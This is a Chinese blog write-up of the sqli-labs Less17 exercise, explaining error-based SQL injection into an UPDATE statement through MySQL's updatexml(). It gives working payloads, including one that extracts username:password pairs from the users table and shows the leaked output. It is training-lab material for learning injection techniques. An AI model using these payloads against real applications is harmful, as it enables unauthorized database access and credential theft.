zoukankan      html  css  js  c++  java
  • 【sqli-labs】Less17

    Less17: POST注入,UPDATE语句,有错误回显

    新知识点:

    1. update注入方法

    参考:http://www.mamicode.com/info-detail-1665678.html

    语句

    or updatexml(1,concat(0x7e,(version())),0) or

    关键函数:UpdateXML(xml_target, xpath_expr, new_xml)

    xml_target:是一个目标xml

    xpath:是一个xpath语句

    new_xml:新xml

    作用:将xml_target中符合xpath_expr的部分都用new_xml更新。

    能够用于注入是因为,当xpath不符合语法时,该语句会报错XPATH syntax error: 

    故,可以将待查询的信息放入xpath中,通过报错回显出来。

    该方法有长度限制,最长32位

    2.  解决在同一语句中不能先select出同一表中的某些值,再update这个表的限制

    通过子查询,使select的表更换一个名称

    update tableA set col1='' and updatexml(0,concat(0x7e, (select col2 from (select col2 from tableA limit 0,1)x)),1)

    具体问题解决:

    前期作弊,看了看代码,发现uname有check函数,不能注入。password可以注入。而且select语句没有注入,只有password的update语句有注入。

    页面显示了名字是Dhakkan,那就用这个名字了。password用上面提到的方法。整个payload为:

    uname=Dhakkan&passwd=' and updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1) -- a&submit=Submit

    显示报错:XPATH syntax error: '~Dumb:Dumb'

    说明注入成功。

  • 相关阅读:
    CF110A Nearly Lucky Number
    Max Sum Plus Plus HDU – 1024
    洛谷 p1003 铺地毯
    poj-1226
    Where is the Marble? UVA – 10474
    Read N Characters Given Read4
    Guess Number Higher or Lower && 九章二分法模板
    Intersection of Two Arrays II
    Reverse Vowels of a String
    Meeting Rooms
  • 原文地址:https://www.cnblogs.com/dplearning/p/7373010.html
Copyright © 2011-2022 走看看